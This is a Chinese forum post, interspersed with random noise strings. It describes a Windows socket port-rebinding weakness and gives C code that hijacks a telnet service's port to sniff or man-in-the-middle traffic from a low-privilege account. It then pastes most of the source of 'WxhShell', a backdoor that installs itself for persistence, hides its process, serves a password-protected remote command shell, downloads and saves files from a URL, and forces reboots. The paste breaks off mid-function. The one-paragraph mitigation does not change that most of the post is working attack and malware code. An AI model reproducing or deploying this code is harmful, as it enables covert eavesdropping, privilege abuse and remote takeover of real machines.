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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~5q1zr)E  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  6g576  
4hz T4!15  
  saddr.sin_family = AF_INET; P XKEqcQR  
l1l=52r   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); jEVDz  
g1Ed:V]_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -U.>K,M  
9sJ=Nldq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q V)>+6\  
gNUYHNzDM(  
  这意味着什么?意味着可以进行如下的攻击: u%!/-&?wF  
GRM6H|.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;G.5.q[A  
($'W(DH4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2RG6m=Y8y  
~G,_4}#"pM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 w;W# 'pE  
]l>LU2 sx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %PM&`c98z7  
"ngULpb{R  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 JlR$"GU  
~@=(#tO.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n+MWny  
+ fS<YT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 EM QGP<[  
,cE yV74  
  #include `,QcOkvbC  
  #include _t&` T  
  #include %e^GfZ  
  #include    =gNPS 0H  
  DWORD WINAPI ClientThread(LPVOID lpParam);   n&OM~Vs  
  int main() '.EO+1{a  
  { % b fe_k(  
  WORD wVersionRequested; d^MRu#]  
  DWORD ret; 'b)qP|  
  WSADATA wsaData; DK)T2{:  
  BOOL val; v;soJlxF~  
  SOCKADDR_IN saddr; hh8Grl;  
  SOCKADDR_IN scaddr; %5RR<[_/;  
  int err; @@JyCUd  
  SOCKET s; }`cf3'rdk  
  SOCKET sc; @,Z0u2WLl6  
  int caddsize; B6=?Qp/f  
  HANDLE mt; {Y-~7@  
  DWORD tid;   0FSNIPx  
  wVersionRequested = MAKEWORD( 2, 2 ); "i#aII+T  
  err = WSAStartup( wVersionRequested, &wsaData ); m ww<Xm'  
  if ( err != 0 ) { vAp<Muj(a  
  printf("error!WSAStartup failed!\n"); <qg4Rz\c]  
  return -1; J 2<kOXXJ9  
  } ijsoY\V50  
  saddr.sin_family = AF_INET; IjGPiC  
   pHT]2e#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 sYjhQN=Y*  
3xT9/8*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .G.WPVE  
  saddr.sin_port = htons(23); '2GnAws^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^/_Yk.w  
  { /~M H]Gh  
  printf("error!socket failed!\n"); 4-~Z{#-  
  return -1; &rGB58  
  } vJLGy]  
  val = TRUE; KL3Z(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 > vdmN]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >H^#!eaqw  
  { e2f+Fv 9  
  printf("error!setsockopt failed!\n"); v3#,Z!  
  return -1; 8Qo'[+4;  
  } fuzB;Ea  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; P q$0ih  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;$W HTO(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Cb1w8l0  
D"J',YN$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I)tiXcJw  
  { ]?pQu'-(  
  ret=GetLastError(); ~: {05W  
  printf("error!bind failed!\n"); M@#T`aS  
  return -1; DY -5(6X  
  } 3/>7b (  
  listen(s,2); Q_U.J0  
  while(1) Dn6U8s&  
  { h Ta(^  
  caddsize = sizeof(scaddr); W%4=x>J-  
  //接受连接请求 O&1qL)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #~!"`B?#*  
  if(sc!=INVALID_SOCKET) `J1HQ!Z  
  { TP"cEfs x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3w</B- |nQ  
  if(mt==NULL) ;h\T7pwwb  
  { wqhktgG  
  printf("Thread Creat Failed!\n"); ,Klv[_x7  
  break; q pCI [[  
  } _]-4d_&3(  
  } ]QhTxrF"  
  CloseHandle(mt); W7^[W.  
  } 5BJ E  
  closesocket(s); -~mgct5  
  WSACleanup(); )V\@N*L`ik  
  return 0; TWzLJ63*  
  }   Pg%9hejf3  
  DWORD WINAPI ClientThread(LPVOID lpParam) ? 3=G'Ip5n  
  { 7~ PL8  
  SOCKET ss = (SOCKET)lpParam; 2%dL96  
  SOCKET sc; ;$QC_l''b  
  unsigned char buf[4096]; 27EK +$  
  SOCKADDR_IN saddr; DcW?L^Mst  
  long num; <.Ws; HN}  
  DWORD val; 1Y|a:){G  
  DWORD ret; cg.{oMwa  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ` y\)X C7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |5bLV^mv]i  
  saddr.sin_family = AF_INET; Ttt'X<9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u.|Z3=?VG  
  saddr.sin_port = htons(23); F!]Sr'UA  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ot2o=^Ng  
  { q.c)>=!.  
  printf("error!socket failed!\n");  Y !?'[t  
  return -1; (k?H T'3)  
  } G3~`]qf  
  val = 100; d ~Z\%4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b6bs .  
  { yOq@w!xz  
  ret = GetLastError(); ;f[lq^eV  
  return -1; E5w;75,  
  } l4>^79**  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "9wD|wsz  
  { Dwp,d~z  
  ret = GetLastError(); m^k0j/  
  return -1; !y= R)k  
  } -QrC>3xZR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Mfj82rHg  
  { zxbf h/=  
  printf("error!socket connect failed!\n"); [={mCGU  
  closesocket(sc); FTf#"'O  
  closesocket(ss); v $Iw?y  
  return -1; ''y.4dvX  
  } u^1#9bAW8  
  while(1) Xw-[Sf]p  
  {  Y{p$%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g8W,Xq+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 DxJ;C09xNa  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]:P7}Kpb  
  num = recv(ss,buf,4096,0); nlwqSXw  
  if(num>0) xu2 KEwgb  
  send(sc,buf,num,0); S/nPK,^d2  
  else if(num==0) Zh=a rlk  
  break; 2 T!Tiu  
  num = recv(sc,buf,4096,0);  c0oHE8@  
  if(num>0) TSlB.pw%v  
  send(ss,buf,num,0); 9a}9cMJ^"  
  else if(num==0) M|WBJ'#x0  
  break; Y%pab/Y  
  } -8Jw_  
  closesocket(ss); CM;b_E)9)f  
  closesocket(sc); =p+y$  
  return 0 ; 7>FXsUt_  
  }  =<HDek  
Ld4U  
UB/> Ro  
========================================================== ZJYn[\]  
1( pHC  
下边附上一个代码,,WXhSHELL Wg']a/m  
J ^'El^F  
========================================================== Zxa.x?:?n  
Zh"m;l/]  
#include "stdafx.h" [#PE'i4  
@ZjT_  
#include <stdio.h> lQn" 6o1  
#include <string.h> U2q6^z4l  
#include <windows.h>  I//=C6  
#include <winsock2.h> g.lTNQm$u  
#include <winsvc.h> *'%V}R[>  
#include <urlmon.h> &Y]':gJ  
=]W i aF  
#pragma comment (lib, "Ws2_32.lib") d*gAL<M7E  
#pragma comment (lib, "urlmon.lib") i5'&u:  
j~CnMKN  
#define MAX_USER   100 // 最大客户端连接数 (|gQ i{8  
#define BUF_SOCK   200 // sock buffer )@PnpC%H  
#define KEY_BUFF   255 // 输入 buffer L, JQ\!c  
=!q% 1mP  
#define REBOOT     0   // 重启 JMb_00r  
#define SHUTDOWN   1   // 关机 oQ$yr^M  
p0+^wXi)  
#define DEF_PORT   5000 // 监听端口 RB5SK#z  
v pI9TG  
#define REG_LEN     16   // 注册表键长度 Dw-d`8*  
#define SVC_LEN     80   // NT服务名长度 vg z`+Zj*S  
"y1Iu   
// 从dll定义API YR%iZ"`*+O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NAbVH{*\U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dbI>\khI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .tngN<f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~zVxprEf_  
hAGHb+:  
// wxhshell配置信息 YH&=cI@  
struct WSCFG { z/@_?01T=  
  int ws_port;         // 监听端口 }A#IBqf5  
  char ws_passstr[REG_LEN]; // 口令 g@.$P>Bh  
  int ws_autoins;       // 安装标记, 1=yes 0=no y.rN(  
  char ws_regname[REG_LEN]; // 注册表键名 (eHyas %X  
  char ws_svcname[REG_LEN]; // 服务名 Vwkvu&4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /:{%X(8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O'y8q[2KE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i+_LKHQN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SQKhht`M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dmFn0J-\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NYm"I`5w  
!`DRJ)h  
};  T]#V  
<`H0i*|Ued  
// default Wxhshell configuration ll:UIxx  
struct WSCFG wscfg={DEF_PORT, ZnG.::&:  
    "xuhuanlingzhe", Shn,JmR  
    1, s|[>@~gXk  
    "Wxhshell", WK ~H]w  
    "Wxhshell", O%b byR2  
            "WxhShell Service", ajYe?z  
    "Wrsky Windows CmdShell Service", 9T,/R1N8  
    "Please Input Your Password: ", SN{z)q  
  1, ?jx]%n fV  
  "http://www.wrsky.com/wxhshell.exe", 2*#|t: (c  
  "Wxhshell.exe" f5jl$H.  
    }; JF~i.+{ h  
u-_r2U  
// 消息定义模块 Gp"GTPT{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _;lw,;ftA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tFN >]`Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dzVi ~wt_&  
char *msg_ws_ext="\n\rExit."; U|^xr~q!f-  
char *msg_ws_end="\n\rQuit."; $=aO*i  
char *msg_ws_boot="\n\rReboot..."; @6u/)>rI  
char *msg_ws_poff="\n\rShutdown..."; 7|rH9Bc{U  
char *msg_ws_down="\n\rSave to "; mH*ldf;J;=  
%,>z`D,Hg  
char *msg_ws_err="\n\rErr!"; h ><Sp*z_V  
char *msg_ws_ok="\n\rOK!"; E$8JrL  
mx c)Wm<4  
char ExeFile[MAX_PATH]; Q7%4`_$!  
int nUser = 0; b 2gng}  
HANDLE handles[MAX_USER]; h Yu6PWK  
int OsIsNt; QY\k3hiqn  
dcz?5O_{,  
SERVICE_STATUS       serviceStatus; nl@an!z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |Uh8b %  
#&3,T1i`  
// 函数声明 r pNb.  
int Install(void); .`or^`X3  
int Uninstall(void); 4{VO:(geZ  
int DownloadFile(char *sURL, SOCKET wsh); /y$Omc^  
int Boot(int flag); hor7~u+  
void HideProc(void); }Zhe%M=}G  
int GetOsVer(void); RLF&-[mr3  
int Wxhshell(SOCKET wsl); x4_IUIgh  
void TalkWithClient(void *cs); qJ ey&_  
int CmdShell(SOCKET sock); }@DCcf$<  
int StartFromService(void); ) SV.|  
int StartWxhshell(LPSTR lpCmdLine); j=\h|^gA  
WI8}_){ d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N0`9/lr|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [Nyt0l "z  
$d?+\r:I{,  
// 数据结构和表定义 6].[z+  
SERVICE_TABLE_ENTRY DispatchTable[] = @gUp9ZwtH  
{ Na\ZV|;*tu  
{wscfg.ws_svcname, NTServiceMain}, j3-YZKpg  
{NULL, NULL} `Sod]bO +U  
}; 4u{S?Ryy  
Y&|Z*s+ +}  
// 自我安装 6FS%9.Ws  
int Install(void) b R\7j+*&  
{ XS<>0YM  
  char svExeFile[MAX_PATH]; $vn6%M[  
  HKEY key; 3JazQU  
  strcpy(svExeFile,ExeFile); #3uv^m LGa  
(vXr2Z<l  
// 如果是win9x系统,修改注册表设为自启动 Sp `l>BL  
if(!OsIsNt) { FO{=^I5YA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1 ZdB6U0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %6K7uvTq  
  RegCloseKey(key); t)SZ2G1r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |IxHtg3>6{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OL'Ito  
  RegCloseKey(key); P.~UU S  
  return 0; | dQ>)_  
    } kVn RSg}R  
  } X>(1fra4  
} ,67Q!/O  
else { A40DbD\^ad  
>e]g T  
// 如果是NT以上系统,安装为系统服务 o3WOp80hz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ChBf:`e  
if (schSCManager!=0) ,H7X_KbFD4  
{ Ee>VA_ss  
  SC_HANDLE schService = CreateService dQ:,pe7A  
  ( z]7 WC  
  schSCManager, r>mBe;[TX  
  wscfg.ws_svcname, u6iW1,#  
  wscfg.ws_svcdisp, #^FM~5KK  
  SERVICE_ALL_ACCESS, b,!C8rJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !R{IEray  
  SERVICE_AUTO_START, JsaXI:%1  
  SERVICE_ERROR_NORMAL, ?Y=aO(}=h  
  svExeFile, |x[I!I7.F  
  NULL, X><C#G  
  NULL, iTxWXij  
  NULL,  _"DC )  
  NULL, IsXNAYj  
  NULL [9E~=A#  
  ); z8=THz2f  
  if (schService!=0) cXweg;  
  { q~{) {t;  
  CloseServiceHandle(schService); c r=Q39{  
  CloseServiceHandle(schSCManager); *)^6'4=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); manw;`Q  
  strcat(svExeFile,wscfg.ws_svcname); RB>=#03  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { srS!X$cec  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A|biOz  
  RegCloseKey(key); )k<cd.MX  
  return 0; U1 `5P!ov  
    } J"gMm@#C4  
  } ~E}kwF  
  CloseServiceHandle(schSCManager); %0\@\fC41  
} V 6}5^W  
} 6@]o,O  
O>`k@X@9/  
return 1; kUBE+a6#  
} 4:MvC^X~z  
Jb,54uN  
// 自我卸载 dJuyJl$*  
int Uninstall(void) *tjaac;z<J  
{ c!w[)>v  
  HKEY key; '1u?-2  
"&L8d(ZuA  
if(!OsIsNt) { ,%!m%+K9a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2H%9l@}u  
  RegDeleteValue(key,wscfg.ws_regname); ` w;Wud'*<  
  RegCloseKey(key); q@.>eB'92P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IIk_!VzT  
  RegDeleteValue(key,wscfg.ws_regname); jN6V`Wh_  
  RegCloseKey(key); \zd[A~!  
  return 0; u%-]-:c  
  } A}fm).Wp@  
} hs6pp/h>  
} M+"6VtZH  
else { hqRC:p#9  
0 kJ8H!~u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4*_jGw  
if (schSCManager!=0) Mo/R+\u+Y  
{ lpi"@3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _hnsH I!oD  
  if (schService!=0) !vX4_!%  
  { ~EtGR # N  
  if(DeleteService(schService)!=0) { RO3LZBL  
  CloseServiceHandle(schService); T;M ;c. U  
  CloseServiceHandle(schSCManager); iXWzIb}CJ-  
  return 0; Om.%K>V  
  } ]9!y3"..W{  
  CloseServiceHandle(schService); SIK:0>yK"  
  } :'h$]p%  
  CloseServiceHandle(schSCManager); pq*e0uW  
} Q#MB=:0 {  
} 4!sK>l!  
&l6@C3N$  
return 1; .2I?^w&j+  
} CU=sQfE  
D5gj*/"  
// 从指定url下载文件 $f@YQN=  
int DownloadFile(char *sURL, SOCKET wsh) ?N4FB*x  
{ .!q_jl%U  
  HRESULT hr; coCT]<  
char seps[]= "/"; }u#3hYa  
char *token; Jp jHbG  
char *file; L|1,/h 8p  
char myURL[MAX_PATH]; ,#;hI{E  
char myFILE[MAX_PATH]; MkW=sD_  
%??v?M*  
strcpy(myURL,sURL); Gf8^nfr  
  token=strtok(myURL,seps); 2: QT`e&  
  while(token!=NULL) l]G iz&  
  { 628iN%[-  
    file=token; NV5qF/<M  
  token=strtok(NULL,seps); #cQ5-R -1  
  } (iKJ~bJ  
<zCWLj3  
GetCurrentDirectory(MAX_PATH,myFILE); 6B]=\H  
strcat(myFILE, "\\"); |!FQQ(1b  
strcat(myFILE, file); l/3=o}8q  
  send(wsh,myFILE,strlen(myFILE),0); ^cZ< .d2  
send(wsh,"...",3,0); }NDl~5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GVhqNy   
  if(hr==S_OK) KHx2$*E_  
return 0; P'wo+Tn*  
else ti61&)(  
return 1; vom3 C9o  
#ss/mvc3  
} )4rt-_t<  
GZO:lDdA  
// 系统电源模块 6uD<E  
int Boot(int flag) 4dixHpq'  
{ :]:)c8!6  
  HANDLE hToken; iw#~xel<ez  
  TOKEN_PRIVILEGES tkp; aV5M}:D  
FS}b9sQ)  
  if(OsIsNt) { }etdXO_^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +iQ@J+k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k86TlQRh  
    tkp.PrivilegeCount = 1; g$]WKy(D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t]I9[5Pq\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kqX=3Zo  
if(flag==REBOOT) { *zUK3&n~I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?OW!D?  
  return 0; g}!{_z  
} \me5"ZU  
else { +TbAtkEF*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )l9KDObis  
  return 0; ECt<\h7}  
} OPN\{<`*d  
  }  kNK0KL  
  else { =F|9 ac9X  
if(flag==REBOOT) { j-d&4,a:c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o2dO\$'  
  return 0; 7;+G)44  
} Hc\C0V<  
else { UYxn? W.g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SY|K9$M^  
  return 0; eL~xS: VT  
} o/3.U=px~  
} [.4{s  
e1g3a1tnWl  
return 1; /4O))}TX  
} fY^CI b$Y  
M(L6PyEa!Y  
// win9x进程隐藏模块 # bHkI~  
void HideProc(void) !p$p 7   
{ _<RTes  
I?Iz5e-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?L\"qz%gP  
  if ( hKernel != NULL ) 6=n|Ha  
  { 0g30nr)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f I=G>[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  dwk%!%  
    FreeLibrary(hKernel); tC|?Kl7  
  } i.'"`pn_  
(o*YGYC  
return; 7d R?70Sz  
} d4ecF%R  
w:lj4Z_  
// 获取操作系统版本 A:Wr5`FJ  
int GetOsVer(void) _cvX$(Sg  
{ /?r A|  
  OSVERSIONINFO winfo; <Q(E {c3"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q>D//_TF  
  GetVersionEx(&winfo);  >SQzE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "a].v 8l!  
  return 1; N ;=z o-8  
  else Y_Fn)(  
  return 0; %SB4_ r*<  
} /pjl6dJ t  
"LTw;& y  
// 客户端句柄模块 A:ts_*  
int Wxhshell(SOCKET wsl) `E1G9BbU  
{ C jf<,x$  
  SOCKET wsh; 6HZtdRQF  
  struct sockaddr_in client; 27 XM&ZrZ  
  DWORD myID; q;bw }4  
Ea S[W?u}  
  while(nUser<MAX_USER) 2!0tD+B  
{ 8!|vp7/  
  int nSize=sizeof(client); C W#:'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Hy4;i^Ik <  
  if(wsh==INVALID_SOCKET) return 1; +z nlf-  
F oC $X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3" m]A/6C}  
if(handles[nUser]==0) WYb}SI(E  
  closesocket(wsh); }Q4Vy  
else ?|kbIZP(  
  nUser++; @*|VWHR  
  } )1!<<;@0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t3<8n;'y:  
27N;>   
  return 0; )qb'tZz/g_  
} OW#0$%f  
s8&q8r7%  
// 关闭 socket ~2\Sn-`  
void CloseIt(SOCKET wsh) 8<"g&+T  
{ ZeuL*c \  
closesocket(wsh); joskKik^  
nUser--; W]/J]O6  
ExitThread(0); ;*Vnwt A  
} pC:YT/J  
xgMh@@e  
// 客户端请求句柄 ]}lt^7\=  
void TalkWithClient(void *cs) Y>w7%N  
{ dJ I }uQ  
OY}FtG y  
  SOCKET wsh=(SOCKET)cs; ,2$<Pt;  
  char pwd[SVC_LEN]; <4.Exha;=  
  char cmd[KEY_BUFF]; ! DOyOTR&3  
char chr[1]; by'KJxl[  
int i,j; beo(7,=&  
h_?`ESI~  
  while (nUser < MAX_USER) { >I\B_q  
Q&.uL}R  
if(wscfg.ws_passstr) { 0zNbux_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %?+vtX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +ZNOvcsV  
  //ZeroMemory(pwd,KEY_BUFF); \1G '{# Q  
      i=0; u ,3B[  
  while(i<SVC_LEN) { W9]z]6  
AC1RP`c  
  // 设置超时 K7`6G[RMb  
  fd_set FdRead; hUi@T}aA|  
  struct timeval TimeOut; uKAI->"  
  FD_ZERO(&FdRead); ;iuwIdo6c  
  FD_SET(wsh,&FdRead); tgKr*8t{  
  TimeOut.tv_sec=8; D%]S>g5k  
  TimeOut.tv_usec=0; 'Z~ZSu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U4=l`{5on  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `{:Nt#7  
Ht;Rz*}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5h/,*p6Nje  
  pwd=chr[0]; OUUV8K  
  if(chr[0]==0xd || chr[0]==0xa) { )9"^ D  
  pwd=0; ^'E^*R  
  break; 6}-No  
  } W"Y)a|rG%  
  i++; Ur#jJR@%3  
    } +Mq\3  
QO}~"lMj  
  // 如果是非法用户,关闭 socket SM8N*WdiU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zEFS\nP}E  
} ,e43m=KhK  
A .&c>{B7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w@^J.7h^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *@''OyL  
r\Y,*e  
while(1) { |gI>Sp%Fu  
pFS@yHs  
  ZeroMemory(cmd,KEY_BUFF); Uo >aQk  
$x'jf?zs!  
      // 自动支持客户端 telnet标准   pL1ABvBB  
  j=0; Rb:H3zh  
  while(j<KEY_BUFF) { Q&:)D7m\)S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rQ{|0+l  
  cmd[j]=chr[0]; zA9q`ePS  
  if(chr[0]==0xa || chr[0]==0xd) { : |s;2Y  
  cmd[j]=0; w\GJ,e  
  break; 4,LS08&gh  
  } `z'8"s  
  j++; (|<S%?}J  
    } :Q DkaA  
AuQ|CXG-\  
  // 下载文件 4Y?2u  
  if(strstr(cmd,"http://")) { R 9` [C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zN!W_2W*  
  if(DownloadFile(cmd,wsh)) [@lK[7 u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6:G&x<{  
  else GKIzU^f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T;(,9>Qsu  
  } 76rv$z{g^  
  else { X1(ds*'Kv  
[<@T%yq  
    switch(cmd[0]) { UxNn5(:sM@  
  I>FL&E@K  
  // 帮助 #ae?#?/"  
  case '?': { E2r5Pg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aInt[D(  
    break; ~|Vq v{  
  } 1rZ E2  
  // 安装 KsOSPQDGE  
  case 'i': { Zzjx; SF  
    if(Install()) ;)FvTm'"\.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dPu27 "  
    else _MC',p&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eh8GqFEM  
    break; DQY1oM)D !  
    } .zZfP+Q]8  
  // 卸载 gGvL6Fu  
  case 'r': { =F_uK7W  
    if(Uninstall()) s?}qia\~m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #6\m TL4vg  
    else zgjgEhnvU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s U`#hL6;  
    break; Wd7*7']  
    } 8J'5%$3u  
  // 显示 wxhshell 所在路径 =? !FO'zt"  
  case 'p': { B0b|+5WhR  
    char svExeFile[MAX_PATH]; k_}$d{X  
    strcpy(svExeFile,"\n\r"); $V 3If  
      strcat(svExeFile,ExeFile); L?nhm=D  
        send(wsh,svExeFile,strlen(svExeFile),0); esTL3 l{[  
    break; e*T^:2oRl  
    } {2q"9Ox"  
  // 重启 ]~]TZb  
  case 'b': { _DSDY$Ec  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zuzwc[Z1  
    if(Boot(REBOOT)) xBxiBhqzF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (nLzWvN  
    else { m#BXxS#B<_  
    closesocket(wsh); EwzcB\m  
    ExitThread(0); 3\Xk)a_  
    } ^Ak?2,xB#+  
    break; _qPKdGoM  
    } ]zj#X\  
